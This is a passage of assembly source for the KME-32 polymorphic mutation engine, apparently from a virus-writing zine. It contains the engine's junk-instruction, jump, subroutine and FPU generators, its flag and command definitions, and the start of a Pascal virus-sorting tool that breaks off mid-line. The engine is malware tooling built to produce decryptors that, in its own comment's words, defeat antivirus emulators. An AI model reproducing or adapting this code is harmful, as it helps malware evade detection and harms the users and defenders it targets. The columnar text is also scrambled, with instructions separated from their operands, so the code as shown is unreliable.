; =========================================================================== ; this subroutine finds new output pointer (in EDI) @@find_new_eip: @@eip_find: mov dec jz edx, C_EIP_MAX_ITER ; max number of restarts edx @@error2 ; error if no free space

; find random location within outbuf mov eax, o_max sub eax, C_EIP_TOP+C_EIP_BOTTOM call @@rnd_eax add eax, C_EIP_TOP add eax, o_offs xchg edi, eax ; scan it -- should be unused mov ecx, C_EIP_NEXT+C_EIP_PREV mov eax, o_fillchar repz scasb jnz @@eip_find sub edi, C_EIP_NEXT retn ; --------------------------------------------------------------------------; this subroutine called before each command is ; stored to output stream ; it probably adds JMP to new random location @@eip_do1: pushad jmp pusha mov add sub cmp jb mov mov push repz pop jnz eax, o_offs ; check if end of outbuf is eax, o_max ; reached. MUST add jmp then. eax, edi eax, C_EIP_BOTTOM @@eip_do eax, o_fillchar ; scan following code -ecx, C_EIP_NEXT ; -- it should be unused, edi ; MUST add jmp otherwise scasb edi @@eip_do

@@eip_do

@@eip:

; here we may skip jmp flagsnz FLAG_NOJMPS, @@eip_done ; JMPs disabled? -exit mov eax, jmp_prob ; add JMP if rnd(jmp_prob)==0

call jnz @@eip_do:

@@rnd_eax @@eip_done

; well, here we MUST select new location, or die flagsnz FLAG_NOJMPS, @@error3 ; no JMPs? - error! mov stosb stosd mov call mov sub mov @@eip_done: mov popa retn al, 0E9h ; add JMP ; space for argument ; save old position ; try to find new location ; link

ebx, edi @@find_new_eip eax, edi eax, ebx [ebx-4], eax [esp+0*4], edi

; pushad_edi

; ===================== "logic" management ================================== ; this subroutine adds "logic" instruction into ; output stream. @@poly_cmd: pusha flagsnz FLAG_NOLOGIC, @@poly_cmd_exit ; logic disabled? --exit IFNDEF LITE mov or jz ENDIF mov cmp je call @@poly_cmd_restart: REG1 REG2 REG1_8 REG2_8 XXX XXX_8 equ equ equ equ equ equ ; reg1: call xchg jc ebx edx bl dl ecx cl eax, regused eax, regavail @@poly_cmd_exit @@eip ; all avail regs used? ; --exit ; add JMP if needed eax, cmdavail eax, cmdavail2 @@poly_cmd_exit ; no avail cmds? ; --exit

; fixed ; fixed

destination, read-write @@get_free_reg ; get free reg <reg1> REG1, eax @@poly_cmd_exit

; reg2: source, read-only. to write into, do check call @@get_init_reg ; get init reg <reg2> xchg REG2, eax call @@random_dword ; get random argument

xchg mov call

XXX, eax eax, 55 @@rnd_eax

; select random command index

; dispatch or jz dec jz dec jz dec jz dec jz dec jz dec jz dec jz dec jz dec jz dec jz dec jz dec jz dec jz dec jz dec jz dec jz dec jz dec jz dec jz dec jz dec jz dec jz dec jz dec jz dec jz dec jz eax, eax @@x_not eax @@x_neg eax @@x_inc eax @@x_dec eax @@x_inc eax @@x_dec eax @@x_shl eax @@x_shr eax @@x_rol eax @@x_ror eax @@x_sar eax @@x_mov_c eax @@x_add_c eax @@x_sub_c eax @@x_mov_c eax @@x_add_c eax @@x_sub_c eax @@x_xor_c eax @@x_and_c eax @@x_or_c eax @@x_rol_c eax @@x_ror_c eax @@x_add eax @@x_sub eax @@x_xor eax @@x_imul_ex eax @@x_imul_ex_c ; r1, r1 ; ;

; r1, r2 ; r1, r2, c

dec jz dec jz dec jz dec jz dec jz dec jz dec jz dec jz dec jz dec jz dec jz dec jz

eax @@x_btc_c eax @@x_btr_c eax @@x_bts_c eax @@x_bswap eax @@movsxzx eax @@pushrp eax @@puship eax @@x_mul eax @@x_imul eax @@x_div eax @@x_idiv eax @@x_fpu

; r1, c ; ;

; r1

; movzx/movsx ; push reg/pop ; push imm/pop

; new commands that dont need 2 dif. regs dec jz dec jz dec jz dec jz dec jz dec jz eax @@cmp_i_follow eax @@cmp_i_nofollow eax @@callsub eax @@subroutine eax @@x_bsr eax @@x_bsf

; add other commands if only different regs selected cmp REG1, REG2 ; r1 == r2 ? je @@poly_cmd_restart dec jz dec jz dec jz dec jz dec eax @@x_xchg eax @@x_mov eax @@x_and eax @@x_or eax ; r1, r2, c

jz dec jz dec jz dec jz dec jz dec jz int 3 @@poly_cmd_exit: ; exit mov popa retn

@@x_shld eax @@x_shrd eax @@x_xadd eax @@cmp_r_nofollow eax @@cmp_r_follow eax @@x_cycle

; r1, r2, c

; r1, r2

; shouldn't be executed. fix # of items

[esp+0*4], edi

; pushad_edi

; --------------------- cycle ----------------------------------------------@@x_cycle: testcmd2 CMD2_CYCLE, @@poly_cmd_restart push call call jz @@gen_add: mov or stosw mov stosd jmp @@gen_sub: mov or stosw mov stosd neg @@gen_done: mov call inc @@em_add: add dec jnz call mov or stosw mov stosd eax, 666 @@rnd_eax eax ; its enough ; # of cycle iterations edi @@eip @@rnd_zf @@gen_sub ax, 0c081h ah, REG1_8 eax, XXX ; add reg, param ; start-cycle: eip

@@gen_done ax, 0e881h ah, REG1_8 eax, XXX ; sub reg, param

XXX

; 4emul: add->sub

em_reg[REG1*4], XXX ; calc resulting value eax @@em_add @@eip ax, 0F881h ah, REG1_8

; cmp r,result

eax, em_reg[REG1*4]

cmp call mov stosw stosd pop sub mov jmp

eax, eax @@eip ax, 850Fh

; jne

eax eax, edi [edi-4], eax @@poly_cmd_exit

; start-cycle: eip

; --------------------- call subroutine ------------------------------------@@callsub: testcmd2 CMD2_SUBROUTINE, @@poly_cmd_restart cmp je cmp jne p_count, 0 ; no subs were generated yet? @@poly_cmd_exit ; ! in_subroutine, 0 ; do not make recurse calls @@poly_cmd_exit ; !

; select random sub; get addr & stack size mov eax, p_count call @@rnd_eax xchg esi, eax mov ebx, p_addr[esi*4] movzx ecx, p_stack[esi] ; push params jecxz @@push_rnd: call mov call add stosb loop @@skip_push_rnd: ; generate call call mov stosb stosd sub mov movzx jecxz movzx jecxz mov stosw lea stosb @@eip al, 0E8h @@skip_push_rnd @@eip eax, 8 @@rnd_eax al, 50h

@@push_rnd

ebx, edi [edi-4], ebx ecx, p_conv[esi] @@skip_fixstk ecx, p_stack[esi] @@skip_fixstk ax, 0C483h eax, [ecx*4] ; add esp, nn

; 0=pascal

call jz mov neg @@skip_fixstk: jmp

@@rnd_zf @@skip_fixstk byte ptr [edi-2], 0ECh ; add-->sub byte ptr [edi-1] ; -nn @@poly_cmd_exit

; --------------------- generate subroutine --------------------------------@@subroutine: testcmd2 CMD2_SUBROUTINE, @@poly_cmd_restart cmp jae inc p_count, C_MAX_SUB ; fixed # of subroutines @@poly_cmd_exit ; ! in_subroutine ; we're inside of subroutine(s)

; now, push all the state related to output code flow generation flagsnz FLAG_NOJMPS, @@s_no_jmps ; cant be called? ; if jmps allowed, gen sub somewhere there push edi ; current EIP call @@eip_do1 ; change EIP (requres FLAG_NOJMPS=0) jmp @@s_no_jmps: mov stosb stosd push @@s_done al, 0E9h ; NOJMPS? bypass subroutine

edi

; current EIP

@@s_done: call xor call jnz mov call lea @@set0: ; save addr(EDI) & params(CL) mov eax, p_count inc p_count mov p_addr[eax*4], edi mov p_stack[eax], cl ; calling convention: cdecl=1, pascal=0 call @@rnd_zf sete dl mov p_conv[eax], dl dec and shl push ; reinitialize the state ; reduce set of registers available @@rnd_again: mov eax, 256 call @@rnd_eax dl cl, dl ecx, 2 ecx ; cdecl=0, pascal=-1 ; if (cdecl) pop_params=0 @@state_push ecx, ecx @@rnd_zf @@set0 eax, 4 @@rnd_eax ecx, [eax+1] ; ECX<--number of paramz ; have any params? ; 1..4

; params size, in BYTEs

and jz mov mov mov ; prolog @@push_loop: mov call bsf jz btr add stosb jmp

eax, regavail @@rnd_again regavail, eax reginit, 0 regused, 0 ; all register values unknow ; ('coz multiple calls)

ebx, regavail @@eip eax, ebx @@push_done ebx, eax al, 50h @@push_loop

; smart idea

@@push_done: ; body mov call call ; epilog @@pop_loop: mov call bsr jz btr add stosb jmp ebx, regavail @@eip eax, ebx @@pop_done ebx, eax al, 58h @@pop_loop ; pop mask eax, 50 @@multi_garbage @@eip

;POP regs 1 at once

@@pop_done: ; retn call mov stosb pop jecxz dec mov stosw @@simpleret: call ; restore all the state flagsnz FLAG_NOJMPS, @@e_no_jmps pop jmp @@e_no_jmps: pop mov sub mov dec edi @@e_done ecx eax, edi eax, ecx [ecx-4], eax in_subroutine ; 5 bytes (unrealized JMP) at EDI @@state_pop @@eip al, 0C3h

ecx @@simpleret byte ptr [edi-1] eax, ecx

; param frame size

; C3->C2 ; RET ? clean paramz

@@e_done:

jmp

@@poly_cmd_exit

; --------------------- misc -----------------------------------------------@@state_push: pop push lea lea push add cmp jne jmp @@state_pop: pop lea lea sub pop cmp jne pop jmp esi regavail eax, state_begin ecx, state_end dword ptr [eax] eax, 4 eax, ecx @@push_cycle esi esi eax, state_begin ecx, state_end ecx, 4 dword ptr [ecx] ecx, eax @@pop_cycle regavail esi

@@push_cycle:

@@pop_cycle:

; --------------------- movsxzx --------------------------------------------@@movsxzx: testcmd CMD_MOVSXZX, @@poly_cmd_restart cmp jae mov call jz mov or @@use_xl: call jz @@movzx: mov movzx jmp @@movsx: mov movsx @@rnd_zf @@movsx ax, 0B60Fh ecx, cl @@stos_sxzx ax, 0BE0Fh ecx, cl ;movsx ;movzx REG2, 4 @@poly_cmd_exit ecx, em_reg[REG2*4] @@rnd_zf @@use_xl cl, ch REG2_8, 4 ;use high 8 bits (AH,BH,...)

@@stos_sxzx: mov stosw xchg REG1, REG2 em_reg[REG1*4], ecx

call jmp

@@modrm @@poly_cmd_exit

; --------------------- push reg ; poly_cmd() ; pop_reg---------------------@@pushrp: testcmd2 CMD2_PUSHPOPR, @@poly_cmd_restart mov lea stosb jmp @@puship: ecx, em_reg[REG2*4] eax, [REG2+50h] ; push reg @@pop

testcmd2 CMD2_PUSHPOPC, @@poly_cmd_restart call jz @@rnd_zf @@imm_d ah, cl ecx, ah al, 6Ah

@@imm_b:

mov movsx mov stosw jmp

; push byte

@@pop al, 68h ; push dword eax, ecx

@@imm_d:

mov stosb mov stosd call mov call lea stosb jmp

@@pop:

@@poly_cmd em_reg[REG1*4], ecx @@eip eax, [REG1+58h] ;pop reg @@poly_cmd_exit

; --------------------- cmp r, r/c ; jxx -----------------------------------@@cmp_i_follow: flagsnz FLAG_NOJMPS, @@poly_cmd_exit testcmd2 CMD2_IFOLLOW, @@poly_cmd_exit mov jmp @@cmp_i_nofollow: tempo, -1 @@cmp_i

testcmd2 CMD2_INOFOLLOW, @@poly_cmd_exit mov tempo, 0

@@cmp_i: test REG1, REG1 jnz @@longcmp flagsnz FLAG_NOSHORT, @@longcmp ; if skip short opcs mov stosb al, 3Dh ; short form for eax

jmp @@longcmp: mov or stosw call mov jz mov

@@cmpeaxboth ax, 0F881h ah, REG1_8 ; CMP

@@cmpeaxboth:

@@rnd_zf eax, em_reg[REG1*4] ;Z @@useit eax, XXX ; ecx

flagsnz FLAG_NOSHORT_C, @@useit call @@rnd_zf jnz @@useit dec cmp je inc mov movsx stosb jmp @@useit: stosd jmp edi byte ptr [edi], 3Dh @@longcmp edi ; ; EAX ? ; ;

byte ptr [edi-2], 83h ; 81->83, short form eax, al ; to pass EAX to @@outcond

@@outcond

@@outcond

@@cmp_r_follow:

flagsnz FLAG_NOJMPS, @@poly_cmd_exit testcmd2 CMD2_RFOLLOW, @@poly_cmd_exit mov jmp tempo, -1 @@cmp_r

@@cmp_r_nofollow:

testcmd2 CMD2_RNOFOLLOW, @@poly_cmd_exit mov tempo, 0

@@cmp_r: push mov call stosb call pop mov @@outcond: call cmp seto setb sete setbe @@eip em_reg[REG1*4], eax jxxcond[0] jxxcond[2] jxxcond[4] jxxcond[6] REG1 REG2 al, 39h @@swap @@modrm REG2 REG1 eax, em_reg[REG2*4] ; 'coz of @@swap ; cmp r,r

sets setp setl setle mov call shl xor xor mov jecxz xor mov xchg mov inc call mov jmp @@dont_follow: call jz stosb call stosb jmp @@long_dontfollow: xor mov xchg stosw call stosd jmp

jxxcond[8] jxxcond[10] jxxcond[12] jxxcond[14] eax, 8 @@rnd_eax eax, 1 al, jxxcond[eax] al, 70h ecx, tempo @@dont_follow al, 0F1h ; invert condition + short2near ah, 0Fh ; al, ah ebx, edi edi ; +1 @@eip_do1 word ptr [ebx], ax ;convert to jcc @@poly_cmd_exit @@rnd_zf @@long_dontfollow

@@short_dontfollow:

@@random_byte ;displacement(that dont get exec) @@poly_cmd_exit al, 0F0h ah, 0Fh al, ah @@random_dword

@@poly_cmd_exit

; --------------------- common subroutines ---------------------------------; input: EAX=opcode, REG1,REG2 @@swap: flagsnz call jz xor xchg retn or stosb jmp or stosw jmp call jmp FLAG_NOSWAP, @@swap_retn @@rnd_zf @@swap_retn al, 2 ; bit 'S', means swap regs REG1, REG2 ; so, the same action

@@swap_retn: @@oralR1_stosb:

al, REG1_8 @@poly_cmd_exit ah, REG1_8 @@poly_cmd_exit @@swap @@stosb_modrm

@@orahR1_stosw:

@@swap_stosb_modrm:

@@stosw_modrm: @@stosb_modrm:

stosb mov stosb call jmp pusha mov shl or or stosb popa inc retn stosw call jmp stosb call jmp or stosb xchg stosd jmp or stosw jmp cmp je flagsnz test jnz shr jmp

al, ah @@modrm @@poly_cmd_exit

@@modrm:

al, 0C0h REG2_8, 3 al, REG2_8 al, REG1_8

edi

@@stosw_modrm_stosbX:

@@modrm @@stosbX

@@stosb_modrm_stosd:

@@modrm @@stosd al, REG1_8 eax, XXX @@poly_cmd_exit ah, REG1_8 @@stosd al, 83h @@orahR1_stosw_stosbX FLAG_NOSHORT, @@orahR1_stosw_stosd REG1, REG1 @@orahR1_stosw_stosd eax, 16 @@stosb_stosd ah, REG1_8 al, XXX_8 @@poly_cmd_exit ecx, 31 cl, 1 cl, 0 ; if (x==0) x++;

@@oralR1_stosb_stosd: @@stosb_stosd: @@stosd:

@@orahR1_stosw_stosd:

@@checkshort:

@@orahR1_stosw_stosbX: @@stosbX:

or stosw mov stosb jmp and cmp adc retn stosw shr or mov stosw jmp

@@modarg:

@@stos3or:

eax, 16 al, REG1_8 ah, XXX_8 @@poly_cmd_exit

; ---------------------------------------------------------------------------

@@x_not:

testcmd not mov jmp testcmd neg mov jmp testcmd inc mov jmp testcmd dec mov jmp testcmd shl mov jmp testcmd shr mov jmp testcmd rol mov jmp testcmd ror mov jmp testcmd sar mov jmp testcmd mov xor mov jmp testcmd mov add mov jmp testcmd mov sub mov jmp

CMD_NOT, @@poly_cmd_restart em_reg[REG1*4] ; emul -- not r1 ax, 0d0f7h ; opcode @@orahR1_stosw CMD_NEG, @@poly_cmd_restart em_reg[REG1*4] ; emul -- neg r1 ax, 0d8f7h ; opcode @@orahR1_stosw CMD_INC, @@poly_cmd_restart em_reg[REG1*4] ; emul -- inc r1 al, 40h ; opcode @@oralR1_stosb CMD_DEC, @@poly_cmd_restart em_reg[REG1*4] ; emul -- dec r1 al, 48h ; opcode @@oralR1_stosb CMD_SHL, @@poly_cmd_restart em_reg[REG1*4], 1 ; emul -- shl r1, 1 ax, 0e0d1h ; opcode @@orahR1_stosw CMD_SHR, @@poly_cmd_restart em_reg[REG1*4], 1 ; emul -- shr r1, 1 ax, 0e8d1h ; opcode @@orahR1_stosw CMD_ROL, @@poly_cmd_restart em_reg[REG1*4], 1 ; emul -- rol r1, 1 ax, 0c0d1h ; opcode @@orahR1_stosw CMD_ROR, @@poly_cmd_restart em_reg[REG1*4], 1 ; emul -- ror r1, 1 ax, 0c8d1h ; opcode @@orahR1_stosw CMD_SAR, @@poly_cmd_restart em_reg[REG1*4], 1 ; emul -- sar r1, 1 ax, 0f8d1h ; opcode @@orahR1_stosw CMD_XOR, @@poly_cmd_restart eax, em_reg[REG2*4] ; emul -- xor r1, r2 em_reg[REG1*4], eax al, 31h ; opcode @@swap_stosb_modrm CMD_ADD, @@poly_cmd_restart eax, em_reg[REG2*4] ; emul -- add r1, r2 em_reg[REG1*4], eax al, 01h ; opcode @@swap_stosb_modrm CMD_SUB, @@poly_cmd_restart eax, em_reg[REG2*4] ; emul -- sub r1, r2 em_reg[REG1*4], eax al, 29h ; opcode @@swap_stosb_modrm

@@x_neg:

@@x_inc:

@@x_dec:

@@x_shl:

@@x_shr:

@@x_rol:

@@x_ror:

@@x_sar:

@@x_xor:

@@x_add:

@@x_sub:

@@x_mov:

testcmd mov mov mov jmp testcmd bt jc mov xchg mov mov jmp testcmd mov and mov jmp testcmd mov or mov jmp testcmd mov mov jmp testcmd mov call add jmp testcmd mov call sub jmp testcmd mov call xor jmp testcmd mov call and jmp testcmd mov call or jmp

CMD_MOV, @@poly_cmd_restart eax, em_reg[REG2*4] ; emul -- mov r1, r2 em_reg[REG1*4], eax al, 89h ; opcode @@swap_stosb_modrm CMD_XCHG, @@poly_cmd_restart regused, REG2 @@poly_cmd_exit eax, em_reg[REG1*4] ; emul -- xchg r1, r2 em_reg[REG2*4], eax em_reg[REG1*4], eax al, 87h ; opcode @@stosb_modrm CMD_AND, @@poly_cmd_restart eax, em_reg[REG2*4] ; emul -- and r1, r2 em_reg[REG1*4], eax al, 21h ; opcode @@swap_stosb_modrm CMD_OR, @@poly_cmd_restart eax, em_reg[REG2*4] ; emul -- or r1, r2 em_reg[REG1*4], eax al, 09h ; opcode @@swap_stosb_modrm CMD_MOV, @@poly_cmd_restart em_reg[REG1*4], XXX ; emul -- mov r1, c al, 0B8h ; opcode @@oralR1_stosb_stosd CMD_ADD, @@poly_cmd_restart eax, 05C081h @@try_short em_reg[REG1*4], XXX ; emul -- add r1, c @@checkshort CMD_SUB, @@poly_cmd_restart eax, 2DE881h ; opcode @@try_short em_reg[REG1*4], XXX ; emul -- sub r1, c @@checkshort CMD_XOR, @@poly_cmd_restart eax, 35F081h ; opcode @@try_short em_reg[REG1*4], XXX ; emul -- xor r1, c @@checkshort CMD_AND, @@poly_cmd_restart eax, 25E081h ; opcode @@try_short em_reg[REG1*4], XXX ; emul -- and r1, c @@checkshort CMD_OR, @@poly_cmd_restart eax, 0DC881h ; opcode @@try_short em_reg[REG1*4], XXX ; emul -- or @@checkshort

@@x_xchg:

@@x_and:

@@x_or:

@@x_mov_c:

@@x_add_c:

@@x_sub_c:

@@x_xor_c:

@@x_and_c:

@@x_or_c:

r1, c

@@try_short:

@@try_short_retn: @@x_rol_c:

flagsnz call jz or movsx retn testcmd call rol mov jmp testcmd call ror mov jmp testcmd mov imul mov mov xchg jmp testcmd mov imul mov mov xchg jmp testcmd call mov shld mov jmp testcmd call mov shrd mov jmp testcmd call btc mov jmp testcmd call btr mov jmp

FLAG_NOSHORT_C, @@try_short_retn @@rnd_zf @@try_short_retn al, 2 ; 81->83 XXX, XXX_8

CMD_ROL, @@poly_cmd_restart @@modarg ; modify argument em_reg[REG1*4], cl ; emul -- rol r1, c ax, 0C0C1h ; opcode @@orahR1_stosw_stosbX CMD_ROR, @@poly_cmd_restart @@modarg ; modify argument em_reg[REG1*4], cl ; emul -- ror r1, c ax, 0C8C1h ; opcode @@orahR1_stosw_stosbX CMD_IMUL, @@poly_cmd_restart eax, em_reg[REG1*4] ; emul -- imul r1, r2 eax, em_reg[REG2*4] em_reg[REG1*4], eax ax, 0AF0Fh ; opcode REG1, REG2 @@stosw_modrm CMD_IMUL, @@poly_cmd_restart eax, em_reg[REG2*4] ; emul -- imul r1,r2,c eax, XXX em_reg[REG1*4], eax al, 69h ; opcode REG1, REG2 @@stosb_modrm_stosd CMD_SHLD, @@poly_cmd_restart @@modarg ; modify argument eax, em_reg[REG2*4] ; emul -- shld r1,r2,c em_reg[REG1*4], eax, cl ax, 0A40Fh ; opcode @@stosw_modrm_stosbX CMD_SHRD, @@poly_cmd_restart @@modarg ; modify argument eax, em_reg[REG2*4] ; emul -- shrd r1,r2,c em_reg[REG1*4], eax, cl ax, 0AC0Fh ; opcode @@stosw_modrm_stosbX CMD_BTC, @@poly_cmd_restart @@modarg ; modify argument em_reg[REG1*4], XXX ; emul -- btc r1, c eax, 0f8ba0fh ; opcode @@stos3or CMD_BTR, @@poly_cmd_restart @@modarg ; modify argument em_reg[REG1*4], XXX ; emul -- btr r1, c eax, 0f0ba0fh ; opcode @@stos3or

@@x_ror_c:

@@x_imul_ex:

@@x_imul_ex_c:

@@x_shld:

@@x_shrd:

@@x_btc_c:

@@x_btr_c:

@@x_bts_c:

testcmd CMD_BTS, @@poly_cmd_restart call @@modarg ; modify argument

bts mov jmp @@x_bswap: testcmd mov bswap mov mov jmp testcmd bt jc mov mov xadd mov mov mov jmp testcmd mov mov bsr mov mov xchg jmp testcmd mov mov bsf mov mov xchg jmp mov and cmp jne mov and cmp jne test jnz mov mov mov retn pop jmp mov mov retn

em_reg[REG1*4], XXX eax, 0e8ba0fh @@stos3or

; emul -- bts r1, c ; opcode

CMD_BSWAP, @@poly_cmd_restart eax, em_reg[REG1*4] ; emul -- bswap r1 eax em_reg[REG1*4], eax ax, 0c80fh ; opcode @@orahR1_stosw CMD_XADD, @@poly_cmd_restart regused, REG2 @@poly_cmd_exit eax, em_reg[REG1*4] ; emul -- xadd r1,r2 ecx, em_reg[REG2*4] eax, ecx em_reg[REG1*4], eax em_reg[REG2*4], ecx ax, 0C10Fh ; opcode @@stosw_modrm CMD_BSR, @@poly_cmd_restart eax, em_reg[REG1*4] ecx, em_reg[REG2*4] eax, ecx em_reg[REG1*4], eax ax, 0BD0Fh REG1, REG2 @@stosw_modrm CMD_BSF, @@poly_cmd_restart eax, em_reg[REG1*4] ecx, em_reg[REG2*4] eax, ecx em_reg[REG1*4], eax ax, 0BC0Fh REG1, REG2 @@stosw_modrm eax, regavail eax, REG_EAX+REG_EDX eax, REG_EAX+REG_EDX @@md_sux eax, reginit eax, REG_EAX+REG_EDX eax, REG_EAX+REG_EDX @@md_sux regused, REG_EAX+REG_EDX @@md_sux eax, em_reg[REG_EAX_N*4] edx, em_reg[REG_EDX_N*4] ecx, em_reg[REG1*4] eax ; return address @@poly_cmd_exit em_reg[REG_EAX_N*4], eax em_reg[REG_EDX_N*4], edx

@@x_xadd:

@@x_bsr:

@@x_bsf:

@@md_init:

@@md_sux:

@@md_done:

@@x_mul:

testcmd CMD_MUL, @@poly_cmd_restart call @@md_init

mul call mov jmp @@x_imul: testcmd call imul call mov jmp

ecx @@md_done ax, 0E0F7h @@orahR1_stosw CMD_IMUL, @@poly_cmd_restart @@md_init ecx @@md_done ax, 0E8F7h @@orahR1_stosw

@@x_div:

testcmd CMD_DIV, @@poly_cmd_restart call @@md_init ;; check if DIV avail or ecx, ecx jz @@poly_cmd_exit cmp ecx, edx jbe @@poly_cmd_exit ;; div ecx call @@md_done mov eax, 0F0F7h jmp @@orahR1_stosw testcmd CMD_DIV, @@poly_cmd_restart call @@md_init ;; check if IDIV avail call @@can_idiv jc @@poly_cmd_exit ;; idiv ecx call @@md_done mov eax, 0F8F7h jmp @@orahR1_stosw

@@x_idiv:

; ; ; ; ; ;

action: IDIV parameters checking (partial emulation, unsigned) input: EDX:EAX, ECX output: CF * all AV emulators performs only partial verification at this step, * and skips some good IDIVs. So, they will be unable to emul our code. * Seems such defective programmers as V.Bogdanov has problems coding it. pusha or jz jg neg or jge neg neg sbb xor xor mov shl jc shl rcl rcl jc cmp

@@can_idiv:

@@g1:

@@g2:

@@divcycle:

ecx, ecx @@idiv_err @@g1 ecx edx, edx @@g2 edx eax edx, 0 esi, esi edi, edi bl, 64 esi, 1 @@idiv_err eax, 1 edx, 1 edi, 1 @@cmpsub edi, ecx

; d ; m ; d <<= 1 ; x <<= 1 ; m = (m << 1) | x.bit[i] ; if (m >= y)

@@cmpsub: @@cmpsubok:

@@idiv_err:

jb sbb or dec jnz shl jc shl jc popa retn stc popa retn

@@cmpsubok edi, ecx esi, 1 bl @@divcycle esi, 1 @@idiv_err edi, 1 @@idiv_err

; m -= y ; d |= 1

; --------------------------------------------------------------------------; real super-puper... @@x_fpu: testcmd2 CMD2_FPU, @@poly_cmd_restart cmp jne cmp jae cmp jne inc mov stosw mov stosb finit mov call call @@alredyinit: lea stosb push call call mov stosw mov stosb fild inc call call jz @@sin: mov stosw eax, [REG2+50h] ; push reg2 em_reg[REG2*4] @@poly_cmd @@eip ax, 04DBh al, 24h dword ptr [esp] fpustack @@poly_cmd @@rnd_zf @@cos ax, 0FED9h in_subroutine, 0 @@poly_cmd_exit fpustack, 8 @@poly_cmd_exit fpuinit, 0 @@alredyinit fpuinit ax, 0DB9Bh al, 0E3h ; finit (wait+fninit) ; avoid FPU stack overflow

; max FPU stack

fpustack, 0 @@poly_cmd @@eip

; fild dword ptr [esp]

fsin jmp @@cos: mov stosw fcos call call mov stosw mov stosb fstp dec call pop call lea stosb jmp

@@fpu_done ax, 0FFD9h

@@fpu_done: @@poly_cmd @@eip ax, 1CD9h al, 24h dword ptr [esp] fpustack @@poly_cmd em_reg[REG1*4] @@eip eax, [REG1+58h] ; pop reg1

; fstp dword ptr [esp]

@@poly_cmd_exit

; --------------------------------------------------------------------------kme_main endp

kme_end: ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[KME32.INC]ÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[KME32.INT]ÄÄÄ ; =========================================================================== ; KME-32 v3.00 Kewl Mutation Engine (c) 99-00 Z0MBiE, Vecna ; =========================================================================== ; --------------------- flags ----------------------------------------------FLAG_DEBUG equ 00000001h ; insert INT3 into poly decr FLAG_NOLOGIC equ 00000002h ; disable "logic" FLAG_NOJMPS equ 00000004h ; disable JMPs. ; NOJMPS means generate continuous block of code FLAG_EIP0 equ 00000008h ; initial entry = 0, not rnd FLAG_NOSHORT equ 00000010h ; disable short-opcodes for EAX ; v3.00+ FLAG_NOSHORT_C equ 00000020h ; disable short-consts usage FLAG_NOSWAP equ 00000040h ; disable [cmd r1,r2] perverting ; --------------------- registers ------------------------------------------REG_EAX REG_ECX REG_EDX REG_EBX REG_ESP REG_EBP REG_ESI REG_EDI REG_ALL REG_DEFAULT equ equ equ equ equ equ equ equ equ equ 00000001h ; bitfields for register mask 00000002h ; 00000004h ; at least 1 register should 00000008h ; be specified. 00000010h ; use REG_DEFAULT otherwise 00000020h ; 00000040h ; 00000080h ; (not REG_ESP) and 255 REG_EAX

REG_EAX_N REG_ECX_N REG_EDX_N REG_EBX_N REG_ESP_N REG_EBP_N REG_ESI_N REG_EDI_N

equ equ equ equ equ equ equ equ

0 1 2 3 4 5 6 7

; --------------------- commands -------------------------------------------CMD_ALL CMD_MOV CMD_XCHG CMD_ADD CMD_SUB CMD_XOR CMD_INC CMD_DEC CMD_OR CMD_AND CMD_SHL CMD_SHR CMD_ROL CMD_ROR CMD_SAR CMD_NOT CMD_NEG CMD_IMUL_EX CMD_SHLD CMD_SHRD CMD_BTC CMD_BTR CMD_BTS CMD_BSWAP CMD_XADD CMD_MOVSXZX CMD_BSR CMD_BSF CMD_MUL CMD_IMUL CMD_DIV CMD_IDIV CMD_PUSHPOP ;; CMD_OLDSTUFF CMD_NEWSTUFF CMD2_ALL CMD2_PUSHPOPR CMD2_PUSHPOPC CMD2_IFOLLOW CMD2_INOFOLLOW CMD2_RFOLLOW CMD2_RNOFOLLOW CMD2_JXX CMD2_JXX_FAKE CMD2_SUBROUTINE CMD2_CYCLE CMD2_FPU equ equ equ equ equ equ equ equ equ equ equ equ equ equ equ equ equ equ equ equ equ equ equ equ equ equ equ equ equ equ equ equ equ equ equ equ equ equ equ equ equ equ equ equ equ equ equ -1 00000001h 00000002h 00000004h 00000008h 00000010h 00000020h 00000040h 00000080h 00000100h 00000200h 00000400h 00000800h 00001000h 00002000h 00004000h 00008000h 00010000h 00020000h 00040000h 00080000h 00100000h 00200000h 00400000h 00800000h 01000000h 02000000h 04000000h 08000000h 10000000h 20000000h 40000000h 80000000h 000FFFFFFh 0FF000000h -1 00000001h 00000002h 00000004h 00000008h 00000010h 00000020h 00000014h 00000028h 00000040h 00000080h 00000100h ; ; ; ; ; ; push r; polycmd; pop r push c; polycmd; pop r cmp r, c; jxx cmp r, c; jxx fake cmp r, r; jxx cmp r, r; jxx fake ; use all available commands ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; bitfields for command mask at least 1 command should be specified. default=XOR all CMD_xxx commands can be disabled by FLAG_NOLOGIC

mov?x

; used when initializing regs ; 1.00 ; 2.00+

; 8-() ; |-> ; X-)

; =========================================================================== ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[KME32.INT]ÄÄÄ

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[VS2000.PAS]ÄÄÄ program VirSort_2000_for_29A_issue_5; uses dos, crt, lgarray; var f : text; newfile : text; flag1 : boolean; flag2 : boolean; count : longint; log_file : string; tipo : string; dic1 : dictionary; dic2 : dictionary; dic3 : dictionary; dic4 : dictionary; dic5 : dictionary; dic6 : dictionary; dic7 : dictionary; dic8 : dictionary; dic9 : dictionary; dic10 : dictionary; dic11 : dictionary; dic12 : dictionary; dic13 : dictionary; i : integer; log : text; instring : string; filename : string; virusname : string; test : longint; parm1 : string; parm2 : string; parm3 : string; last_bar : byte; tmp_str : string; TBuff : Pointer; TBuffsize : LongInt; temp_string : string; space_position : byte; procedure ShowHelp; begin writeln(' -b writeln(' -c 